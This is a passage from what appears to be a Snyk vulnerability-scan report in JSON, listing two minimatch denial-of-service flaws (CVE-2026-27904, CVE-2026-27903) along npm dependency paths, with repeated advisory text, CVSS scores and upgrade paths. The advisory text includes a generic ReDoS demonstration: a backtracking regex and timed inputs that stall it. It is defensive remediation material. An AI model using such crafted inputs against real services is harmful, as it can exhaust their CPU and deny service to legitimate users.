"modificationTime": "2026-10-15T14:05:43.062666Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-10-15T14:05:43.062666Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H", "assigner": "Red Hat", "severity": "medium", "baseScore": 6.5, "cvssVersion": "3.1", "modificationTime": "2026-03-03T05:30:32.172942Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "SUSE", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-07-28T11:07:18.656607Z" } ], "description": "## Overview\n[minimatch](https://www.npmjs.com/package/minimatch) is a minimal matching utility.\n\nAffected versions of this package are vulnerable to Regular Expression Denial of Service (ReDoS). An attacker can cause excessive resource consumption and application unresponsiveness by supplying specially crafted nested `extglob` patterns that trigger catastrophic backtracking in the regular expression engine.\n\n## Details\n\nDenial of Service (DoS) describes a family of attacks, all aimed at making a system inaccessible to its original and legitimate users. There are many types of DoS attacks, ranging from trying to clog the network pipes to the system by generating a large volume of traffic from many machines (a Distributed Denial of Service - DDoS - attack) to sending crafted requests that cause a system to crash or take a disproportional amount of time to process.\n\nThe Regular expression Denial of Service (ReDoS) is a type of Denial of Service attack. Regular expressions are incredibly powerful, but they aren't very intuitive and can ultimately end up making it easy for attackers to take your site down.\n\nLet’s take the following regular expression as an example:\n```js\nregex = /A(B|C+)+D/\n```\n\nThis regular expression accomplishes the following:\n- `A` The string must start with the letter 'A'\n- `(B|C+)+` The string must then follow the letter A with either the letter 'B' or some number of occurrences of the letter 'C' (the `+` matches one or more times). The `+` at the end of this section states that we can look for one or more matches of this section.\n- `D` Finally, we ensure this section of the string ends with a 'D'\n\nThe expression would match inputs such as `ABBD`, `ABCCCCD`, `ABCBCCCD` and `ACCCCCD`\n\nIt most cases, it doesn't take very long for a regex engine to find a match:\n\n```bash\n$ time node -e '/A(B|C+)+D/.test(\"ACCCCCCCCCCCCCCCCCCCCCCCCCCCCD\")'\n0.04s user 0.01s system 95% cpu 0.052 total\n\n$ time node -e '/A(B|C+)+D/.test(\"ACCCCCCCCCCCCCCCCCCCCCCCCCCCCX\")'\n1.79s user 0.02s system 99% cpu 1.812 total\n```\n\nThe entire process of testing it against a 30 characters long string takes around ~52ms. But when given an invalid string, it takes nearly two seconds to complete the test, over ten times as long as it took to test a valid string. The dramatic difference is due to the way regular expressions get evaluated.\n\nMost Regex engines will work very similarly (with minor differences). The engine will match the first possible way to accept the current character and proceed to the next one. If it then fails to match the next one, it will backtrack and see if there was another way to digest the previous character. If it goes too far down the rabbit hole only to find out the string doesn’t match in the end, and if many characters have multiple valid regex paths, the number of backtracking steps can become very large, resulting in what is known as _catastrophic backtracking_.\n\nLet's look at how our expression runs into this problem, using a shorter string: \"ACCCX\". While it seems fairly straightforward, there are still four different ways that the engine could match those three C's:\n1. CCC\n2. CC+C\n3. C+CC\n4. C+C+C.\n\nThe engine has to try each of those combinations to see if any of them potentially match against the expression. When you combine that with the other steps the engine must take, we can use [RegEx 101 debugger](https://regex101.com/debugger) to see the engine has to take a total of 38 steps before it can determine the string doesn't match.\n\nFrom there, the number of steps the engine must use to validate a string just continues to grow.\n\n| String | Number of C's | Number of steps |\n| -------|-------------:| -----:|\n| ACCCX | 3 | 38\n| ACCCCX | 4 | 71\n| ACCCCCX | 5 | 136\n| ACCCCCCCCCCCCCCX | 14 | 65,553\n\n\nBy the time the string includes 14 C's, the engine has to take over 65,000 steps just to see if the string is valid. These extreme situations can cause them to work very slowly (exponentially related to input size, as shown above), allowing an attacker to exploit this and can cause the service to excessively consume CPU, resulting in a Denial of Service.\n\n## Remediation\nUpgrade `minimatch` to version 8.0.6, 9.0.7, 10.2.3 or higher.\n## References\n- [GitHub Commit](https://github.com/isaacs/minimatch/commit/11d0df6165d15a955462316b26d52e5efae06fce)\n", "epssDetails": { "percentile": "0.42587", "probability": "0.00516", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-27904" ], "CWE": [ "CWE-1333" ], "GHSA": [ "GHSA-23c5-xmqv-rm74" ] }, "packageName": "minimatch", "proprietary": false, "creationTime": "2026-02-26T08:02:21.057843Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-02-26T03:11:41Z", "exploitDetails": { "sources": [ "Snyk" ], "maturityLevels": [ { "type": "secondary", "level": "Proof of Concept", "format": "CVSSv3" }, { "type": "primary", "level": "Proof of Concept", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-02-26T08:02:21.526254Z", "severityBasedOn": "CVSS", "modificationTime": "2026-10-15T14:05:43.062666Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "@npmcli/arborist@9.4.0", "@npmcli/run-script@10.0.3", "@npmcli/package-json@7.0.5", "glob@13.0.6", "minimatch@10.2.2" ], "upgradePath": [ false, "npm@11.11.0", "@npmcli/arborist@9.9.3", "@npmcli/run-script@10.0.4", "@npmcli/package-json@7.0.5", "glob@13.0.6", "minimatch@10.2.6" ], "isUpgradable": true, "isPatchable": false, "name": "minimatch", "version": "10.2.2" }, { "id": "SNYK-JS-MINIMATCH-15353389", "title": "Inefficient Algorithmic Complexity", "CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "credit": [ "dolevmiz1" ], "semver": { "vulnerable": [ "<3.1.3", ">=4.0.0 <4.2.5", ">=5.0.0 <5.1.8", ">=6.0.0 <6.2.2", ">=7.0.0 <7.4.8", ">=8.0.0 <8.0.6", ">=9.0.0 <9.0.7", ">=10.0.0 <10.2.3" ] }, "exploit": "Proof of Concept", "fixedIn": [ "3.1.3", "4.2.5", "5.1.8", "6.2.2", "7.4.8", "8.0.6", "9.0.7", "10.2.3" ], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.7, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "minimatch", "references": [ { "url": "https://github.com/isaacs/minimatch/commit/0bf499aa45f5059b56809cc3b75ff3eafeb8d748", "title": "GitHub Commit" } ], "cvssDetails": [ { "assigner": "Red Hat", "severity": "medium", "cvssV3Vector": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 5.9, "modificationTime": "2026-02-27T07:22:25.114296Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 8.7, "cvssVersion": "4.0", "modificationTime": "2026-10-15T14:05:42.723499Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-10-15T14:05:42.723499Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "Red Hat", "severity": "medium", "baseScore": 5.9, "cvssVersion": "3.1", "modificationTime": "2026-02-27T07:22:25.114296Z" } ], "description": "## Overview\n[minimatch](https://www.npmjs.com/package/minimatch) is a minimal matching utility.\n\nAffected versions of this package are vulnerable to Inefficient Algorithmic Complexity via the `matchOne` function. An attacker can cause significant delays in processing and stall the event loop by supplying specially crafted glob patterns containing multiple non-adjacent GLOBSTAR segments.\n## Remediation\nUpgrade `minimatch` to version 3.1.3, 4.2.5, 5.1.8, 6.2.2, 7.4.8, 8.0.6, 9.0.7, 10.2.3 or higher.\n## References\n- [GitHub Commit](https://github.com/isaacs/minimatch/commit/0bf499aa45f5059b56809cc3b75ff3eafeb8d748)\n", "epssDetails": { "percentile": "0.47957", "probability": "0.00608", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-27903" ], "CWE": [ "CWE-407" ], "GHSA": [ "GHSA-7r86-cg39-jmmj" ] }, "packageName": "minimatch", "proprietary": false, "creationTime": "2026-02-26T08:12:16.643876Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-02-26T03:13:19Z", "exploitDetails": { "sources": [ "Snyk" ], "maturityLevels": [ { "type": "secondary", "level": "Proof of Concept", "format": "CVSSv3" }, { "type": "primary", "level": "Proof of Concept", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-02-26T08:12:16.955036Z", "severityBasedOn": "CVSS", "modificationTime": "2026-10-15T14:05:42.723499Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "@npmcli/arborist@9.4.0", "@npmcli/run-script@10.0.3", "@npmcli/package-json@7.0.5", "glob@13.0.6", "minimatch@10.2.2" ], "upgradePath": [ false, "npm@11.11.0", "@npmcli/arborist@9.9.3", "@npmcli/run-script@10.0.4", "@npmcli/package-json@7.0.5", "glob@13.0.6", "minimatch@10.2.6" ], "isUpgradable": true, "isPatchable": false, "name": "minimatch", "version": "10.2.2" }, { "id": "SNYK-JS-MINIMATCH-15353387", "title": "Regular Expression Denial of Service (ReDoS)", "CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "credit": [ "dolevmiz1" ], "semver": { "vulnerable": [ ">=8.0.0 <8.0.6", ">=9.0.0 <9.0.7", ">=10.0.0 <10.2.3" ] }, "exploit": "Proof of Concept", "fixedIn": [ "8.0.6", "9.0.7", "10.2.3" ], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.7, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "minimatch", "references": [ { "url": "https://github.com/isaacs/minimatch/commit/11d0df6165d15a955462316b26d52e5efae06fce", "title": "GitHub Commit" } ], "cvssDetails": [ { "assigner": "Red Hat", "severity": "medium", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 6.5, "modificationTime": "2026-03-03T05:30:32.172942Z" }, { "assigner": "SUSE", "severity": "high", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 7.5, "modificationTime": "2026-07-28T11:07:18.656607Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 8.7, "cvssVersion": "4.0", "modificationTime": "2026-10-15T14:05:43.062666Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-10-15T14:05:43.062666Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H", "assigner": "Red Hat", "severity": "medium", "baseScore": 6.5, "cvssVersion": "3.1", "modificationTime": "2026-03-03T05:30:32.172942Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "SUSE", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-07-28T11:07:18.656607Z" } ], "description": "## Overview\n[minimatch](https://www.npmjs.com/package/minimatch) is a minimal matching utility.\n\nAffected versions of this package are vulnerable to Regular Expression Denial of Service (ReDoS). An attacker can cause excessive resource consumption and application unresponsiveness by supplying specially crafted nested `extglob` patterns that trigger catastrophic backtracking in the regular expression engine.\n\n## Details\n\nDenial of Service (DoS) describes a family of attacks, all aimed at making a system inaccessible to its original and legitimate users. There are many types of DoS attacks, ranging from trying to clog the network pipes to the system by generating a large volume of traffic from many machines (a Distributed Denial of Service - DDoS - attack) to sending crafted requests that cause a system to crash or take a disproportional amount of time to process.\n\nThe Regular expression Denial of Service (ReDoS) is a type of Denial of Service attack. Regular expressions are incredibly powerful, but they aren't very intuitive and can ultimately end up making it easy for attackers to take your site down.\n\nLet’s take the following regular expression as an example:\n```js\nregex = /A(B|C+)+D/\n```\n\nThis regular expression accomplishes the following:\n- `A` The string must start with the letter 'A'\n- `(B|C+)+` The string must then follow the letter A with either the letter 'B' or some number of occurrences of the letter 'C' (the `+` matches one or more times). The `+` at the end of this section states that we can look for one or more matches of this section.\n- `D` Finally, we ensure this section of the string ends with a 'D'\n\nThe expression would match inputs such as `ABBD`, `ABCCCCD`, `ABCBCCCD` and `ACCCCCD`\n\nIt most cases, it doesn't take very long for a regex engine to find a match:\n\n```bash\n$ time node -e '/A(B|C+)+D/.test(\"ACCCCCCCCCCCCCCCCCCCCCCCCCCCCD\")'\n0.04s user 0.01s system 95% cpu 0.052 total\n\n$ time node -e '/A(B|C+)+D/.test(\"ACCCCCCCCCCCCCCCCCCCCCCCCCCCCX\")'\n1.79s user 0.02s system 99% cpu 1.812 total\n```\n\nThe entire process of testing it against a 30 characters long string takes around ~52ms. But when given an invalid string, it takes nearly two seconds to complete the test, over ten times as long as it took to test a valid string. The dramatic difference is due to the way regular expressions get evaluated.\n\nMost Regex engines will work very similarly (with minor differences). The engine will match the first possible way to accept the current character and proceed to the next one. If it then fails to match the next one, it will backtrack and see if there was another way to digest the previous character. If it goes too far down the rabbit hole only to find out the string doesn’t match in the end, and if many characters have multiple valid regex paths, the number of backtracking steps can become very large, resulting in what is known as _catastrophic backtracking_.\n\nLet's look at how our expression runs into this problem, using a shorter string: \"ACCCX\". While it seems fairly straightforward, there are still four different ways that the engine could match those three C's:\n1. CCC\n2. CC+C\n3. C+CC\n4. C+C+C.\n\nThe engine has to try each of those combinations to see if any of them potentially match against the expression. When you combine that with the other steps the engine must take, we can use [RegEx 101 debugger](https://regex101.com/debugger) to see the engine has to take a total of 38 steps before it can determine the string doesn't match.\n\nFrom there, the number of steps the engine must use to validate a string just continues to grow.\n\n| String | Number of C's | Number of steps |\n| -------|-------------:| -----:|\n| ACCCX | 3 | 38\n| ACCCCX | 4 | 71\n| ACCCCCX | 5 | 136\n| ACCCCCCCCCCCCCCX | 14 | 65,553\n\n\nBy the time the string includes 14 C's, the engine has to take over 65,000 steps just to see if the string is valid. These extreme situations can cause them to work very slowly (exponentially related to input size, as shown above), allowing an attacker to exploit this and can cause the service to excessively consume CPU, resulting in a Denial of Service.\n\n## Remediation\nUpgrade `minimatch` to version 8.0.6, 9.0.7, 10.2.3 or higher.\n## References\n- [GitHub Commit](https://github.com/isaacs/minimatch/commit/11d0df6165d15a955462316b26d52e5efae06fce)\n", "epssDetails": { "percentile": "0.42587", "probability": "0.00516", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-27904" ], "CWE": [ "CWE-1333" ], "GHSA": [ "GHSA-23c5-xmqv-rm74" ] }, "packageName": "minimatch", "proprietary": false, "creationTime": "2026-02-26T08:02:21.057843Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-02-26T03:11:41Z", "exploitDetails": { "sources": [ "Snyk" ], "maturityLevels": [ { "type": "secondary", "level": "Proof of Concept", "format": "CVSSv3" }, { "type": "primary", "level": "Proof of Concept", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-02-26T08:02:21.526254Z", "severityBasedOn": "CVSS", "modificationTime": "2026-10-15T14:05:43.062666Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "libnpmexec@10.2.3", "@npmcli/run-script@10.0.3", "@npmcli/package-json@7.0.5", "glob@13.0.6", "minimatch@10.2.2" ], "upgradePath": [ false, "npm@11.11.0", "libnpmexec@10.3.4", "@npmcli/run-script@10.0.4", "@npmcli/package-json@7.0.5", "glob@13.0.6", "minimatch@10.2.6" ], "isUpgradable": true, "isPatchable": false, "name": "minimatch", "version": "10.2.2" }, { "id": "SNYK-JS-MINIMATCH-15353389", "title": "Inefficient Algorithmic Complexity", "CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "credit": [ "dolevmiz1" ], "semver": { "vulnerable": [ "<3.1.3", ">=4.0.0 <4.2.5", ">=5.0.0 <5.1.8", ">=6.0.0 <6.2.2", ">=7.0.0 <7.4.8", ">=8.0.0 <8.0.6", ">=9.0.0 <9.0.7", ">=10.0.0 <10.2.3" ] }, "exploit": "Proof of Concept", "fixedIn": [ "3.1.3", "4.2.5", "5.1.8", "6.2.2", "7.4.8", "8.0.6", "9.0.7", "10.2.3" ], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.7, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "minimatch", "references": [ { "url": "https://github.com/isaacs/minimatch/commit/0bf499aa45f5059b56809cc3b75ff3eafeb8d748", "title": "GitHub Commit" } ], "cvssDetails": [ { "assigner": "Red Hat", "severity": "medium", "cvssV3Vector": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 5.9, "modificationTime": "2026-02-27T07:22:25.114296Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 8.7, "cvssVersion": "4.0", "modificationTime": "2026-10-15T14:05:42.723499Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-10-15T14:05:42.723499Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "Red Hat", "severity": "medium", "baseScore": 5.9, "cvssVersion": "3.1", "modificationTime": "2026-02-27T07:22:25.114296Z" } ], "description": "## Overview\n[minimatch](https://www.npmjs.com/package/minimatch) is a minimal matching utility.\n\nAffected versions of this package are vulnerable to Inefficient Algorithmic Complexity via the `matchOne` function. An attacker can cause significant delays in processing and stall the event loop by supplying specially crafted glob patterns containing multiple non-adjacent GLOBSTAR segments.\n## Remediation\nUpgrade `minimatch` to version 3.1.3, 4.2.5, 5.1.8, 6.2.2, 7.4.8, 8.0.6, 9.0.7, 10.2.3 or higher.\n## References\n- [GitHub Commit](https://github.com/isaacs/minimatch/commit/0bf499aa45f5059b56809cc3b75ff3eafeb8d748)\n", "epssDetails": { "percentile": "0.47957", "probability": "0.00608", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-27903" ], "CWE": [ "CWE-407" ], "GHSA": [ "GHSA-7r86-cg39-jmmj" ] }, "packageName": "minimatch", "proprietary": false, "creationTime": "2026-02-26T08:12:16.643876Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-02-26T03:13:19Z", "exploitDetails": { "sources": [ "Snyk" ], "maturityLevels": [ { "type": "secondary", "level": "Proof of Concept", "format": "CVSSv3" }, { "type": "primary", "level": "Proof of Concept", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-02-26T08:12:16.955036Z", "severityBasedOn": "CVSS", "modificationTime": "2026-10-15T14:05:42.723499Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "libnpmexec@10.2.3", "@npmcli/run-script@10.0.3", "@npmcli/package-json@7.0.5", "glob@13.0.6", "minimatch@10.2.2" ], "upgradePath": [ false, "npm@11.11.0", "libnpmexec@10.3.4", "@npmcli/run-script@10.0.4", "@npmcli/package-json@7.0.5", "glob@13.0.6", "minimatch@10.2.6" ], "isUpgradable": true, "isPatchable": false, "name": "minimatch", "version": "10.2.2" }, { "id": "SNYK-JS-MINIMATCH-15353387", "title": "Regular Expression Denial of Service (ReDoS)", "CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "credit": [ "dolevmiz1" ], "semver": { "vulnerable": [ ">=8.0.0 <8.0.6", ">=9.0.0 <9.0.7", ">=10.0.0 <10.2.3" ] }, "exploit": "Proof of Concept", "fixedIn": [ "8.0.6", "9.0.7", "10.2.3" ], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.7, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "minimatch", "references": [ { "url": "https://github.com/isaacs/minimatch/commit/11d0df6165d15a955462316b26d52e5efae06fce", "title": "GitHub Commit" } ], "cvssDetails": [ { "assigner": "Red Hat", "severity": "medium", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 6.5, "modificationTime": "2026-03-03T05:30:32.172942Z" }, { "assigner": "SUSE", "severity": "high", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 7.5, "modificationTime": "2026-07-28T11:07:18.656607Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 8.7, "cvssVersion": "4.0", "modificationTime": "2026-10-15T14:05:43.062666Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-10-15T14:05:43.062666Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H", "assigner": "Red Hat", "severity": "medium", "baseScore": 6.5, "cvssVersion": "3.1", "modificationTime": "2026-03-03T05:30:32.172942Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "SUSE", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-07-28T11:07:18.656607Z" } ], "description": "## Overview\n[minimatch](https://www.npmjs.com/package/minimatch) is a minimal matching utility.\n\nAffected versions of this package are vulnerable to Regular Expression Denial of Service (ReDoS). An attacker can cause excessive resource consumption and application unresponsiveness by supplying specially crafted nested `extglob` patterns that trigger catastrophic backtracking in the regular expression engine.\n\n## Details\n\nDenial of Service (DoS) describes a family of attacks, all aimed at making a system inaccessible to its original and legitimate users. There are many types of DoS attacks, ranging from trying to clog the network pipes to the system by generating a large volume of traffic from many machines (a Distributed Denial of Service - DDoS - attack) to sending crafted requests that cause a system to crash or take a disproportional amount of time to process.\n\nThe Regular expression Denial of Service (ReDoS) is a type of Denial of Service attack. Regular expressions are incredibly powerful, but they aren't very intuitive and can ultimately end up making it easy for attackers to take your site down.\n\nLet’s take the following regular expression as an example:\n```js\nregex = /A(B|C+)+D/\n```\n\nThis regular expression accomplishes the following:\n- `A` The string must start with the letter 'A'\n- `(B|C+)+` The string must then follow the letter A with either the letter 'B' or some number of occurrences of the letter 'C' (the `+` matches one or more times). The `+` at the end of this section states that we can look for one or more matches of this section.\n- `D` Finally, we ensure this section of the string ends with a 'D'\n\nThe expression would match inputs such as `ABBD`, `ABCCCCD`, `ABCBCCCD` and `ACCCCCD`\n\nIt most cases, it doesn't take very long for a regex engine to find a match:\n\n```bash\n$ time node -e '/A(B|C+)+D/.test(\"ACCCCCCCCCCCCCCCCCCCCCCCCCCCCD\")'\n0.04s user 0.01s system 95% cpu 0.052 total\n\n$ time node -e '/A(B|C+)+D/.test(\"ACCCCCCCCCCCCCCCCCCCCCCCCCCCCX\")'\n1.79s user 0.02s system 99% cpu 1.812 total\n```\n\nThe entire process of testing it against a 30 characters long string takes around ~52ms. But when given an invalid string, it takes nearly two seconds to complete the test, over ten times as long as it took to test a valid string. The dramatic difference is due to the way regular expressions get evaluated.\n\nMost Regex engines will work very similarly (with minor differences). The engine will match the first possible way to accept the current character and proceed to the next one. If it then fails to match the next one, it will backtrack and see if there was another way to digest the previous character. If it goes too far down the rabbit hole only to find out the string doesn’t match in the end, and if many characters have multiple valid regex paths, the number of backtracking steps can become very large, resulting in what is known as _catastrophic backtracking_.\n\nLet's look at how our expression runs into this problem, using a shorter string: \"ACCCX\". While it seems fairly straightforward, there are still four different ways that the engine could match those three C's:\n1. CCC\n2. CC+C\n3. C+CC\n4. C+C+C.\n\nThe engine has to try each of those combinations to see if any of them potentially match against the expression. When you combine that with the other steps the engine must take, we can use [RegEx 101 debugger](https://regex101.com/debugger) to see the engine has to take a total of 38 steps before it can determine the string doesn't match.\n\nFrom there, the number of steps the engine must use to validate a string just continues to grow.\n\n| String | Number of C's | Number of steps |\n| -------|-------------:| -----:|\n| ACCCX | 3 | 38\n| ACCCCX | 4 | 71\n| ACCCCCX | 5 | 136\n| ACCCCCCCCCCCCCCX | 14 | 65,553\n\n\nBy the time the string includes 14 C's, the engine has to take over 65,000 steps just to see if the string is valid. These extreme situations can cause them to work very slowly (exponentially related to input size, as shown above), allowing an attacker to exploit this and can cause the service to excessively consume CPU, resulting in a Denial of Service.\n\n## Remediation\nUpgrade `minimatch` to version 8.0.6, 9.0.7, 10.2.3 or higher.\n## References\n- [GitHub Commit](https://github.com/isaacs/minimatch/commit/11d0df6165d15a955462316b26d52e5efae06fce)\n", "epssDetails": { "percentile": "0.42587", "probability": "0.00516", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-27904" ], "CWE": [ "CWE-1333" ], "GHSA": [ "GHSA-23c5-xmqv-rm74" ] }, "packageName": "minimatch", "proprietary": false, "creationTime": "2026-02-26T08:02:21.057843Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-02-26T03:11:41Z", "exploitDetails": { "sources": [ "Snyk" ], "maturityLevels": [ { "type": "secondary", "level": "Proof of Concept", "format": "CVSSv3" }, { "type": "primary", "level": "Proof of Concept", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-02-26T08:02:21.526254Z", "severityBasedOn": "CVSS", "modificationTime": "2026-10-15T14:05:43.062666Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "libnpmpack@9.1.3", "@npmcli/run-script@10.0.3", "@npmcli/package-json@7.0.5", "glob@13.0.6", "minimatch@10.2.2" ], "upgradePath": [ false, "npm@11.11.0", "libnpmpack@9.1.15", "@npmcli/run-script@10.0.4", "@npmcli/package-json@7.0.5", "glob@13.0.6", "minimatch@10.2.6" ], "isUpgradable": true, "isPatchable": false, "name": "minimatch", "version": "10.2.2" }, { "id": "SNYK-JS-MINIMATCH-15353389", "title": "Inefficient Algorithmic Complexity", "CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "credit": [ "dolevmiz1" ], "semver": { "vulnerable": [ "<3.1.3", ">=4.0.0 <4.2.5", ">=5.0.0 <5.1.8", ">=6.0.0 <6.2.2", ">=7.0.0 <7.4.8", ">=8.0.0 <8.0.6", ">=9.0.0 <9.0.7", ">=10.0.0 <10.2.3" ] }, "exploit": "Proof of Concept", "fixedIn": [ "3.1.3", "4.2.5", "5.1.8", "6.2.2", "7.4.8", "8.0.6", "9.0.7", "10.2.3" ], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.7, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "minimatch", "references": [ { "url": "https://github.com/isaacs/minimatch/commit/0bf499aa45f5059b56809cc3b75ff3eafeb8d748", "title": "GitHub Commit" } ], "cvssDetails": [ { "assigner": "Red Hat", "severity": "medium", "cvssV3Vector": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 5.9, "modificationTime": "2026-02-27T07:22:25.114296Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 8.7, "cvssVersion": "4.0", "modificationTime": "2026-10-15T14:05:42.723499Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-10-15T14:05:42.723499Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "Red Hat", "severity": "medium", "baseScore": 5.9, "cvssVersion": "3.1", "modificationTime": "2026-02-27T07:22:25.114296Z" } ], "description": "## Overview\n[minimatch](https://www.npmjs.com/package/minimatch) is a minimal matching utility.\n\nAffected versions of this package are vulnerable to Inefficient Algorithmic Complexity via the `matchOne` function. An attacker can cause significant delays in processing and stall the event loop by supplying specially crafted glob patterns containing multiple non-adjacent GLOBSTAR segments.\n## Remediation\nUpgrade `minimatch` to version 3.1.3, 4.2.5, 5.1.8, 6.2.2, 7.4.8, 8.0.6, 9.0.7, 10.2.3 or higher.\n## References\n- [GitHub 